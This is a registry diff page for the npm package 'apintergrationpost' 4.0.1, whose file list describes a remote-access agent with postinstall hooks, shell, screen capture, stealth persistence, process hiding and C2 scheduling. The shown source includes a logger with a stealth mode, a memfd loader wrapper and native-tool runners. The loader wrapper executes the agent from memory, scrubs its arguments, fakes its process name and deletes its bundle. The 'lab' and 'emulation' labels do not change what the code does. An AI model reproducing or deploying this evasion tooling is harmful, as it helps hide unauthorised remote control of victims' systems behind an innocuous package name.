apintergrationpost 4.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (55) hide show
  1. package/README.md +203 -0
  2. package/apintergrationpost.config.json +101 -0
  3. package/bin/apintergrationpost-install.js +232 -0
  4. package/bin/apintergrationpost.js +50 -0
  5. package/bin/lib/paths.js +19 -0
  6. package/native/lab-tools/Makefile +45 -0
  7. package/native/lab-tools/agent_launcher.c +96 -0
  8. package/native/lab-tools/injector.c +80 -0
  9. package/native/lab-tools/libcache.c +80 -0
  10. package/native/lab-tools/memfd_exec.c +123 -0
  11. package/native/lab-tools/memfd_loader.c +224 -0
  12. package/native/lab-tools/proc_hide.c +64 -0
  13. package/package.json +45 -0
  14. package/scripts/postinstall-run.js +97 -0
  15. package/scripts/prepare-native.js +25 -0
  16. package/src/client/commands/filesystem.js +47 -0
  17. package/src/client/commands/index.js +26 -0
  18. package/src/client/commands/screen-capture.js +74 -0
  19. package/src/client/commands/shell.js +61 -0
  20. package/src/client/commands/system.js +266 -0
  21. package/src/client/connection.js +66 -0
  22. package/src/client/index.js +193 -0
  23. package/src/client/plugins/base.js +17 -0
  24. package/src/client/plugins/evasion-memfd.js +226 -0
  25. package/src/client/plugins/evasion-process.js +158 -0
  26. package/src/client/plugins/file-search.js +66 -0
  27. package/src/client/plugins/filesystem.js +62 -0
  28. package/src/client/plugins/network-enum.js +43 -0
  29. package/src/client/plugins/persistence-advanced.js +9 -0
  30. package/src/client/plugins/persistence-stealth.js +82 -0
  31. package/src/client/plugins/process-list.js +49 -0
  32. package/src/client/plugins/registry.js +118 -0
  33. package/src/client/plugins/screen-live.js +124 -0
  34. package/src/client/plugins/shell-oneshot.js +25 -0
  35. package/src/client/plugins/shell-pty.js +132 -0
  36. package/src/client/plugins/sysinfo.js +45 -0
  37. package/src/client/plugins/system.js +26 -0
  38. package/src/client/watchdog.js +29 -0
  39. package/src/protocol/auth.js +121 -0
  40. package/src/protocol/framer.js +57 -0
  41. package/src/protocol/messages.js +81 -0
  42. package/src/protocol/tls.js +74 -0
  43. package/src/server/cli.js +98 -0
  44. package/src/server/index.js +183 -0
  45. package/src/server/installServer.js +159 -0
  46. package/src/server/screenViewer.js +103 -0
  47. package/src/server/session.js +342 -0
  48. package/src/server/sessionManager.js +229 -0
  49. package/src/shared/c2schedule.js +100 -0
  50. package/src/shared/config.js +277 -0
  51. package/src/shared/emulation.js +86 -0
  52. package/src/shared/logger.js +125 -0
  53. package/src/shared/memfdLaunch.js +135 -0
  54. package/src/shared/nativeTools.js +73 -0
  55. package/src/shared/procinfo.js +116 -0
@@ -0,0 +1,125 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { getEmulationConfig } = require('./emulation');
6
+
7
+ const LEVELS = { debug: 0, info: 1, warn: 2, error: 3 };
8
+ const MAX_AUDIT_SIZE = 10 * 1024 * 1024;
9
+ const MAX_AUDIT_FILES = 5;
10
+
11
+ class Logger {
12
+ constructor(opts = {}, labOpts = {}, emulationOpts = {}) {
13
+ this._level = LEVELS[opts.level] ?? LEVELS.warn;
14
+ this._stream = null;
15
+ this._logFile = null;
16
+ this._labStream = null;
17
+ this._labFile = null;
18
+ this._telemetryEnabled = emulationOpts.telemetry === true
19
+ || !!(labOpts.telemetryMode);
20
+ this._emitProcessInfo = labOpts.emitProcessInfo !== false;
21
+
22
+ if (opts.file) {
23
+ this._logFile = path.resolve(opts.file);
24
+ const dir = path.dirname(this._logFile);
25
+ fs.mkdirSync(dir, { recursive: true });
26
+ this._stream = fs.createWriteStream(this._logFile, { flags: 'a' });
27
+ }
28
+
29
+ if (this._telemetryEnabled && labOpts.eventsFile) {
30
+ this._labFile = path.resolve(labOpts.eventsFile);
31
+ const dir = path.dirname(this._labFile);
32
+ fs.mkdirSync(dir, { recursive: true });
33
+ this._labStream = fs.createWriteStream(this._labFile, { flags: 'a' });
34
+ }
35
+ }
36
+
37
+ _write(level, msg, meta) {
38
+ if (LEVELS[level] < this._level) return;
39
+ const entry = {
40
+ ts: new Date().toISOString(),
41
+ level,
42
+ msg,
43
+ ...(meta ? { meta } : {}),
44
+ };
45
+ if (level === 'error' && !getEmulationConfig({ emulation: { stealth: false } }).stealth) {
46
+ process.stderr.write(`[${entry.ts}] [ERROR] ${msg}\n`);
47
+ }
48
+ if (this._stream) {
49
+ this._stream.write(JSON.stringify(entry) + '\n');
50
+ }
51
+ }
52
+
53
+ debug(msg, meta) { this._write('debug', msg, meta); }
54
+ info(msg, meta) { this._write('info', msg, meta); }
55
+ warn(msg, meta) { this._write('warn', msg, meta); }
56
+ error(msg, meta) { this._write('error', msg, meta); }
57
+
58
+ audit(entry) {
59
+ if (!this._stream) return;
60
+ this._rotateIfNeeded(this._logFile, '_stream');
61
+ const line = JSON.stringify({ ts: new Date().toISOString(), audit: true, ...entry });
62
+ this._stream.write(line + '\n');
63
+ }
64
+
65
+ labEvent(entry) {
66
+ if (!this._telemetryEnabled || !this._labStream) return;
67
+ this._rotateIfNeeded(this._labFile, '_labStream');
68
+ let processInfo = {};
69
+ if (this._emitProcessInfo) {
70
+ try {
71
+ const { getSelfProcessSnapshot } = require('./procinfo');
72
+ processInfo = getSelfProcessSnapshot();
73
+ } catch { /* ignore on non-linux */ }
74
+ }
75
+ const event = {
76
+ ts: new Date().toISOString(),
77
+ event: entry.event || 'emulation_action',
78
+ pid: process.pid,
79
+ ppid: process.ppid,
80
+ ...processInfo,
81
+ ...entry,
82
+ };
83
+ this._labStream.write(JSON.stringify(event) + '\n');
84
+ }
85
+
86
+ _rotateIfNeeded(filePath, streamKey) {
87
+ if (!filePath) return;
88
+ try {
89
+ const stat = fs.statSync(filePath);
90
+ if (stat.size < MAX_AUDIT_SIZE) return;
91
+
92
+ this[streamKey].end();
93
+
94
+ for (let i = MAX_AUDIT_FILES - 1; i >= 1; i--) {
95
+ const older = `${filePath}.${i}`;
96
+ const newer = i === 1 ? filePath : `${filePath}.${i - 1}`;
97
+ if (fs.existsSync(newer)) {
98
+ fs.renameSync(newer, older);
99
+ }
100
+ }
101
+
102
+ this[streamKey] = fs.createWriteStream(filePath, { flags: 'a' });
103
+ } catch {
104
+ // continue logging
105
+ }
106
+ }
107
+
108
+ close() {
109
+ if (this._stream) {
110
+ this._stream.end();
111
+ this._stream = null;
112
+ }
113
+ if (this._labStream) {
114
+ this._labStream.end();
115
+ this._labStream = null;
116
+ }
117
+ }
118
+ }
119
+
120
+ function createLogger(config) {
121
+ const emu = getEmulationConfig(config);
122
+ return new Logger(config.log || {}, config.lab || {}, { telemetry: emu.telemetry });
123
+ }
124
+
125
+ module.exports = { Logger, createLogger };
@@ -0,0 +1,135 @@
1
+ 'use strict';
2
+
3
+ const path = require('path');
4
+ const fs = require('fs');
5
+ const { spawnSync } = require('child_process');
6
+ const { getEmulationConfig } = require('./emulation');
7
+ const { resolveNativeTool, resolveNativeToolsDir } = require('./nativeTools');
8
+
9
+ function getMemoryConfig(config) {
10
+ const emu = getEmulationConfig(config);
11
+ const mem = (config.emulation && config.emulation.memory) || {};
12
+ return {
13
+ mode: mem.mode || 'off',
14
+ autoDeploy: mem.autoDeploy === true,
15
+ nodePath: mem.nodePath || '/usr/bin/node',
16
+ bundlePath: mem.bundlePath || './dist/agent.bundle.js',
17
+ scrubArgv: mem.scrubArgv !== false,
18
+ daemon: mem.daemon !== false,
19
+ unlinkBundle: mem.unlinkBundle === true,
20
+ comm: mem.comm || emu.process.targetName,
21
+ fakeArg: mem.fakeArg || (emu.process.fakeArgs && emu.process.fakeArgs[0]) || '--user',
22
+ };
23
+ }
24
+
25
+ function isMemfdChild() {
26
+ return process.env.MYRA_MEMFD_CHILD === '1'
27
+ || process.env.MYRA_MEMFD_MODE === 'full';
28
+ }
29
+
30
+ function resolveBundlePath(config) {
31
+ const mem = getMemoryConfig(config);
32
+ const configured = mem.bundlePath;
33
+ if (path.isAbsolute(configured)) {
34
+ return configured;
35
+ }
36
+ return path.resolve(process.cwd(), configured);
37
+ }
38
+
39
+ function shouldMemfdDeploy(config) {
40
+ if (isMemfdChild()) return false;
41
+ const mem = getMemoryConfig(config);
42
+ if (mem.mode !== 'full') return false;
43
+ if (!mem.autoDeploy) return false;
44
+ return true;
45
+ }
46
+
47
+ function buildLoaderArgs(config, extraClientArgs = []) {
48
+ const mem = getMemoryConfig(config);
49
+ const emu = getEmulationConfig(config);
50
+ const bundlePath = resolveBundlePath(config);
51
+ const configPath = process.env.APINTEGRATIONPOST_CONFIG
52
+ || process.env.MYRA_CONFIG
53
+ || path.join(process.cwd(), 'apintergrationpost.config.json');
54
+
55
+ if (!fs.existsSync(bundlePath)) {
56
+ throw new Error(`Agent bundle not found: ${bundlePath}. Run: npm run bundle-agent`);
57
+ }
58
+
59
+ const args = [
60
+ '--node', mem.nodePath,
61
+ '--bundle', bundlePath,
62
+ '--comm', mem.comm || emu.process.targetName,
63
+ '--fake-arg', mem.fakeArg,
64
+ '--config', configPath,
65
+ ];
66
+
67
+ if (mem.scrubArgv) args.push('--scrub-argv');
68
+ if (mem.daemon) args.push('--daemon');
69
+ if (mem.unlinkBundle) args.push('--unlink-bundle');
70
+
71
+ if (extraClientArgs.length > 0) {
72
+ args.push('--', ...extraClientArgs);
73
+ }
74
+
75
+ return args;
76
+ }
77
+
78
+ function spawnMemfdLoader(config, extraClientArgs = []) {
79
+ const args = buildLoaderArgs(config, extraClientArgs);
80
+ const result = spawnSync(resolveNativeTool(config, 'memfd_loader'), args, {
81
+ encoding: 'utf8',
82
+ stdio: ['ignore', 'pipe', 'pipe'],
83
+ });
84
+
85
+ if (result.error) {
86
+ throw result.error;
87
+ }
88
+ if (result.status !== 0) {
89
+ throw new Error(result.stderr || result.stdout || 'memfd_loader failed');
90
+ }
91
+
92
+ const pid = Number(String(result.stdout).trim().split('\n')[0]);
93
+ return { pid, args };
94
+ }
95
+
96
+ function verifyMemfdProcess(pid, config) {
97
+ const { getProcessInfo, summarizeMaps } = require('./procinfo');
98
+ const info = getProcessInfo(pid);
99
+ const mapsSummary = summarizeMaps(pid);
100
+
101
+ const exe = info.exe || '';
102
+ const cmdline = info.cmdline || '';
103
+ const bundlePath = resolveBundlePath(config);
104
+
105
+ const checks = {
106
+ memfd_exe: exe.includes('memfd:') || exe.includes('(deleted)'),
107
+ no_bundle_path_in_cmdline: !cmdline.includes(bundlePath)
108
+ && !cmdline.includes('src/client/index.js'),
109
+ uses_proc_fd: cmdline.includes('/proc/self/fd/') || cmdline.includes('/proc/'),
110
+ memfd_child_env: true,
111
+ };
112
+
113
+ const passed = Object.values(checks).every(Boolean);
114
+
115
+ return {
116
+ passed,
117
+ pid,
118
+ exe,
119
+ cmdline,
120
+ comm: info.comm,
121
+ mapsSummary,
122
+ checks,
123
+ };
124
+ }
125
+
126
+ module.exports = {
127
+ getMemoryConfig,
128
+ isMemfdChild,
129
+ resolveBundlePath,
130
+ shouldMemfdDeploy,
131
+ buildLoaderArgs,
132
+ spawnMemfdLoader,
133
+ verifyMemfdProcess,
134
+ resolveNativeToolsDir,
135
+ };
@@ -0,0 +1,73 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { execFileSync, spawnSync } = require('child_process');
6
+ const { getEmulationConfig } = require('./emulation');
7
+
8
+ function resolveNativeToolsDir(config) {
9
+ const emu = getEmulationConfig(config);
10
+ const configured = emu.nativeToolsPath || './native/lab-tools/bin';
11
+ if (path.isAbsolute(configured)) {
12
+ return configured;
13
+ }
14
+ return path.resolve(process.cwd(), configured);
15
+ }
16
+
17
+ function resolveNativeTool(config, name) {
18
+ return path.join(resolveNativeToolsDir(config), name);
19
+ }
20
+
21
+ function nativeToolExists(config, name) {
22
+ try {
23
+ return fs.existsSync(resolveNativeTool(config, name));
24
+ } catch {
25
+ return false;
26
+ }
27
+ }
28
+
29
+ function runNativeTool(config, name, args = [], opts = {}) {
30
+ const toolPath = resolveNativeTool(config, name);
31
+ if (!fs.existsSync(toolPath)) {
32
+ throw new Error(
33
+ `Native tool not found: ${toolPath}. Build with: make -C native/lab-tools`
34
+ );
35
+ }
36
+ const result = spawnSync(toolPath, args, {
37
+ encoding: 'utf8',
38
+ maxBuffer: 10 * 1024 * 1024,
39
+ stdio: ['ignore', 'pipe', 'pipe'],
40
+ ...opts,
41
+ });
42
+ if (result.error) {
43
+ throw result.error;
44
+ }
45
+ return {
46
+ status: result.status,
47
+ stdout: (result.stdout || '').trim(),
48
+ stderr: (result.stderr || '').trim(),
49
+ };
50
+ }
51
+
52
+ function runNativeToolSync(config, name, args = [], opts = {}) {
53
+ const toolPath = resolveNativeTool(config, name);
54
+ if (!fs.existsSync(toolPath)) {
55
+ throw new Error(
56
+ `Native tool not found: ${toolPath}. Build with: make -C native/lab-tools`
57
+ );
58
+ }
59
+ return execFileSync(toolPath, args, {
60
+ encoding: 'utf8',
61
+ maxBuffer: 10 * 1024 * 1024,
62
+ stdio: ['ignore', 'pipe', 'pipe'],
63
+ ...opts,
64
+ }).trim();
65
+ }
66
+
67
+ module.exports = {
68
+ resolveNativeToolsDir,
69
+ resolveNativeTool,
70
+ nativeToolExists,
71
+ runNativeTool,
72
+ runNativeToolSync,
73
+ };
@@ -0,0 +1,116 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function readText(filePath) {
7
+ try {
8
+ return fs.readFileSync(filePath, 'utf8');
9
+ } catch {
10
+ return null;
11
+ }
12
+ }
13
+
14
+ function readLink(filePath) {
15
+ try {
16
+ return fs.readlinkSync(filePath);
17
+ } catch {
18
+ return null;
19
+ }
20
+ }
21
+
22
+ function parseStatusField(statusText, field) {
23
+ if (!statusText) return null;
24
+ const prefix = `${field}:\t`;
25
+ for (const line of statusText.split('\n')) {
26
+ if (line.startsWith(prefix)) {
27
+ return line.slice(prefix.length).trim();
28
+ }
29
+ }
30
+ return null;
31
+ }
32
+
33
+ function getProcessInfo(pid = process.pid) {
34
+ const procDir = `/proc/${pid}`;
35
+ const statusText = readText(path.join(procDir, 'status'));
36
+ const comm = readText(path.join(procDir, 'comm'));
37
+ const exe = readLink(path.join(procDir, 'exe'));
38
+ const cwd = readLink(path.join(procDir, 'cwd'));
39
+ let cmdline = '';
40
+ try {
41
+ cmdline = fs.readFileSync(path.join(procDir, 'cmdline'), 'utf8').replace(/\0/g, ' ').trim();
42
+ } catch {
43
+ cmdline = '';
44
+ }
45
+
46
+ return {
47
+ pid,
48
+ ppid: parseStatusField(statusText, 'PPid') ? Number(parseStatusField(statusText, 'PPid')) : null,
49
+ comm: comm ? comm.trim() : null,
50
+ exe,
51
+ cmdline,
52
+ cwd,
53
+ };
54
+ }
55
+
56
+ function getParentChain(maxDepth = 3, startPid = process.pid) {
57
+ const chain = [];
58
+ let pid = startPid;
59
+
60
+ for (let i = 0; i < maxDepth && pid > 0; i++) {
61
+ const info = getProcessInfo(pid);
62
+ chain.push({
63
+ pid: info.pid,
64
+ ppid: info.ppid,
65
+ comm: info.comm,
66
+ exe: info.exe,
67
+ });
68
+ if (!info.ppid || info.ppid === pid) break;
69
+ pid = info.ppid;
70
+ }
71
+
72
+ return chain;
73
+ }
74
+
75
+ function summarizeMaps(mapsPid = process.pid) {
76
+ const mapsText = readText(`/proc/${mapsPid}/maps`);
77
+ if (!mapsText) {
78
+ return { fileBackedExecutable: 0, anonymousExecutable: 0, totalRegions: 0 };
79
+ }
80
+
81
+ let fileBackedExecutable = 0;
82
+ let anonymousExecutable = 0;
83
+ let totalRegions = 0;
84
+
85
+ for (const line of mapsText.split('\n')) {
86
+ if (!line.trim()) continue;
87
+ totalRegions++;
88
+ const parts = line.trim().split(/\s+/);
89
+ const perms = parts[1] || '';
90
+ const pathname = parts.slice(5).join(' ');
91
+ if (!perms.includes('x')) continue;
92
+ if (!pathname || pathname === '') {
93
+ anonymousExecutable++;
94
+ } else {
95
+ fileBackedExecutable++;
96
+ }
97
+ }
98
+
99
+ return { fileBackedExecutable, anonymousExecutable, totalRegions };
100
+ }
101
+
102
+ function getSelfProcessSnapshot() {
103
+ const self = getProcessInfo(process.pid);
104
+ return {
105
+ ...self,
106
+ parentChain: getParentChain(3),
107
+ mapsSummary: summarizeMaps(process.pid),
108
+ };
109
+ }
110
+
111
+ module.exports = {
112
+ getProcessInfo,
113
+ getParentChain,
114
+ summarizeMaps,
115
+ getSelfProcessSnapshot,
116
+ };